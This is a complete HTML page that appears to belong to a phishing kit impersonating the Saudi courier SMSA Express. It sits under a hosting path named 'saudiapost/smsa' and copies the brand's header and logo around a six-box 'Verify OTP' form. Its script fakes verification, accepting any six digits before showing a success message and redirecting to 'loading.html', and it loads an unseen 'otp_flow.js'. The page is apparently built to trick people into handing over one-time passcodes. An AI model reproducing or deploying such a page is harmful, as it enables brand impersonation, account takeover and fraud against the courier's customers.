/home2/mshostin/public_html/saudiapost/smsa/otp.html
<!DOCTYPE html>
<html lang="en" xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" />
<meta http-equiv="x-ua-compatible" content="ie=edge" />
<title>Verify OTP | SMSA Express</title>
<link href="https://fonts.googleapis.com/css2?family=Segoe+UI:wght@300;400;500;600;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="css/header.css">
<link rel="stylesheet" href="css/style.css">
<style>
.st0 {
fill: #00C8E1;
stroke: #00C8E1;
stroke-miterlimit: 10;
}
.st1 {
fill: #153C3F;
stroke: #153C3F;
stroke-miterlimit: 10;
}
.btn-gray:hover {
background: #eee;
}
/* OTP SPECIFIC STYLES */
.otp-container {
max-width: 500px;
margin: 3rem auto;
padding: 2.5rem;
background: #fff;
border-radius: 3px;
box-shadow: 0 0 25px rgba(0, 0, 0, 0.09);
}
.otp-title {
font-size: 28px;
font-weight: 700;
color: #373737;
margin-bottom: 1rem;
text-align: center;
}
.otp-description {
font-size: 16px;
color: #666;
margin-bottom: 2rem;
text-align: center;
line-height: 1.6;
}
.otp-form {
display: flex;
flex-direction: column;
gap: 1.5rem;
}
.otp-input-group {
display: flex;
justify-content: center;
gap: 0.75rem;
margin-bottom: 1rem;
}
.otp-input {
width: 50px;
height: 50px;
text-align: center;
font-size: 24px;
font-weight: 700;
border: 2px solid #ddd;
border-radius: 3px;
transition: all 0.3s ease;
font-family: 'Segoe UI', sans-serif;
}
.otp-input:focus {
outline: none;
border-color: #00c8e1;
box-shadow: 0 0 0 3px rgba(0, 200, 225, 0.1);
}
.otp-input.filled {
border-color: #00c8e1;
background: #f0f9fa;
}
.otp-resend {
text-align: center;
font-size: 14px;
color: #666;
}
.otp-resend a {
color: #00c8e1;
text-decoration: none;
font-weight: 600;
cursor: pointer;
}
.otp-resend a:hover {
color: #146e82;
}
.otp-timer {
font-size: 14px;
color: #999;
text-align: center;
margin-top: 0.5rem;
}
.btn-verify {
padding: 1rem;
background: #00c8e1;
color: #153c3f;
border: none;
border-radius: 3px;
font-weight: 700;
font-size: 16px;
cursor: pointer;
transition: all 0.3s ease;
font-family: inherit;
width: 100%;
}
.btn-verify:hover {
background: #00a0b8;
box-shadow: 0 0 0 2px #153c3f;
}
.btn-verify:disabled {
background: #ccc;
cursor: not-allowed;
}
.alert {
padding: 1rem;
border-radius: 3px;
margin-bottom: 1.5rem;
display: none;
}
.alert.active {
display: block;
}
.alert.success {
background: #e8f5e9;
border-left: 4px solid #4caf50;
color: #2e7d32;
}
.alert.error {
background: #ffebee;
border-left: 4px solid #f44336;
color: #c62828;
}
.alert.warning {
background: #fff3e0;
border-left: 4px solid #ff9800;
color: #e65100;
}
</style>
</head>
<body>
<div class="page-wrap">
<div class="header_wrapper">
<!-- TOP BAR -->
<div class="top_bar">
<div class="container flex_me">
<div class="col">
<ul class="navTop">
<li id="individual"><a href="/en/">Individuals</a></li>
<li id="enterprise"><a href="/en/enterprise">Enterprise</a></li>
<li id="government"><a href="/en/government">Government</a></li>
</ul>
</div>
<div class="col">
<div class="help_dropdown">
<a href="#" class="onMobile_view">Help</a>
<div>
<span>Help and Support</span>
<ul>
<li><a href="/en/faq/">FAQ</a></li>
<li><a href="/en/customer-service/">Customer Service</a></li>
</ul>
</div>
</div>
<a href="#branches" title="Branches" class="desktop_view" id="scrollToBranch"><img src="/Design/images/branch_icon.svg" alt=""></a>
<button type="button" title="Search" class="search_btn desktop_view btn-srch"><img src="/Design/images/search_icon.svg" alt=""></button>
<a class="nav-link switchLang" href="otp_ar.html">عربي</a>
<div class="search_box">
<form id="search" name="search" action="/en/search" method="get">
<button type="button" class="close bg-transparent border-0"></button>
<div class="search_field">
<span>Search the website...</span>
<input name="q" aria-label="Search" type="text" id="search_cssw" placeholder="Search..." value="" autocomplete="off">
<button type="submit"><img src="/Design/images/arrow_icon_white.svg" alt=""></button>
</div>
</form>
</div>
</div>
</div>
</div>
<!-- MAIN HEADER -->
<header>
<div class="container flex_me">
<div class="col flex_me append_menu">
<a href="/en/" class="logo"><img src="images/Logo.svg" alt="SMSA Express"></a>
<ul id="menu" class="menuIndividual">
<li class="menuMobile">
<span>Individuals</span>
</li>
<li>
<a href="#sending">Sending</a>
</li>
<li>
<a href="#receiving">Receiving</a>
</li>
<li>
<a href="#alami">Alami</a>
</li>
<li>
<a href="#national-address">National Address</a>
</li>
<li>
<a href="#retail-services">Retail Services</a>
</li>
<li>
<a href="#financial-services">Financial Services</a>
</li>
<li>
<a href="#stamps">Stamps</a>
</li>
</ul>
</div>
<div class="col justify_end">
<a href="#login">Log in</a>
<a href="#signup" class="sign_up_link">Sign Up</a>
</div>
</div>
</header>
<!-- BREADCRUMB -->
<div class="breadcrumb">
<div class="container flex_me">
<a href="index.html" class="breadcrumb-home">
<svg xmlns="http://www.w3.org/2000/svg" width="20" height="20" viewBox="0 0 25 27.421">
<path d="M7.071,24V16.8h7.857V24H22V8.8L11,0,0,8.8V24Z" transform="translate(1.5 1.921)" fill="none" stroke="#146e82" stroke-miterlimit="10" stroke-width="3"/>
</svg>
</a>
<span class="breadcrumb-separator">›</span>
<span>Verify OTP</span>
</div>
</div>
</div>
<!-- MAIN CONTENT -->
<div class="container">
<div class="otp-container">
<div id="alert-box" class="alert"></div>
<h1 class="otp-title">Verify Your Account</h1>
<p class="otp-description">
We've sent a verification code to your email address. Please enter the 6-digit code below to verify your account.
</p>
<form id="otp-form" class="otp-form" onsubmit="return false;">
<div class="otp-input-group">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="0">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="1">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="2">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="3">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="4">
<input type="text" class="otp-input" maxlength="1" placeholder="0" data-index="5">
</div>
<button type="submit" class="btn-verify" id="btn-verify">Verify OTP</button>
</form>
<div class="otp-resend">
<p>Didn't receive the code? <a href="#" id="resend-link">Resend</a></p>
<div class="otp-timer">
<span id="timer">Resend code in <strong>59</strong>s</span>
</div>
</div>
</div>
</div>
</div>
<!-- SCRIPTS -->
<script src="js/otp_flow.js"></script>
<script>
// OTP Input Handling
const otpInputs = document.querySelectorAll('.otp-input');
const otpForm = document.getElementById('otp-form');
const alertBox = document.getElementById('alert-box');
const resendLink = document.getElementById('resend-link');
const timerDisplay = document.getElementById('timer');
let timerInterval;
let timeLeft = 59;
// Auto-focus and input handling
otpInputs.forEach((input, index) => {
input.addEventListener('input', (e) => {
if (e.target.value.length === 1) {
if (index < otpInputs.length - 1) {
otpInputs[index + 1].focus();
}
e.target.classList.add('filled');
} else {
e.target.classList.remove('filled');
}
});
input.addEventListener('keydown', (e) => {
if (e.key === 'Backspace' && e.target.value === '') {
if (index > 0) {
otpInputs[index - 1].focus();
}
}
});
input.addEventListener('paste', (e) => {
e.preventDefault();
const pastedData = e.clipboardData.getData('text');
if (/^\d{6}$/.test(pastedData)) {
pastedData.split('').forEach((char, i) => {
if (i < otpInputs.length) {
otpInputs[i].value = char;
otpInputs[i].classList.add('filled');
}
});
otpInputs[otpInputs.length - 1].focus();
}
});
});
// Form submission
otpForm.addEventListener('submit', (e) => {
e.preventDefault();
const otp = Array.from(otpInputs).map(input => input.value).join('');
if (otp.length !== 6) {
showAlert('Please enter all 6 digits', 'error');
return;
}
// Simulate verification
const verifyBtn = document.getElementById('btn-verify');
verifyBtn.disabled = true;
verifyBtn.textContent = 'Verifying...';
setTimeout(() => {
showAlert('OTP verified successfully! Redirecting...', 'success');
setTimeout(() => {
window.location.href = 'loading.html';
}, 1500);
}, 1500);
});
// Resend OTP
resendLink.addEventListener('click', (e) => {
e.preventDefault();
if (timeLeft > 0) return;
showAlert('Code resent to your email', 'success');
timeLeft = 59;
resendLink.style.pointerEvents = 'none';
resendLink.style.opacity = '0.5';
startTimer();
});
// Timer function
function startTimer() {
timerInterval = setInterval(() => {
timeLeft--;
timerDisplay.innerHTML = `Resend code in <strong>${timeLeft}</strong>s`;
if (timeLeft === 0) {
clearInterval(timerInterval);
resendLink.style.pointerEvents = 'auto';
resendLink.style.opacity = '1';
timerDisplay.innerHTML = 'Code expired. <a href="#" id="resend-link">Resend</a>';
}
}, 1000);
}
// Alert function
function showAlert(message, type) {
alertBox.textContent = message;
alertBox.className = `alert active ${type}`;
setTimeout(() => {
alertBox.classList.remove('active');
}, 5000);
}
// Start timer on page load
startTimer();
// Auto-focus first input
otpInputs[0].focus();
</script>
</body>
</html>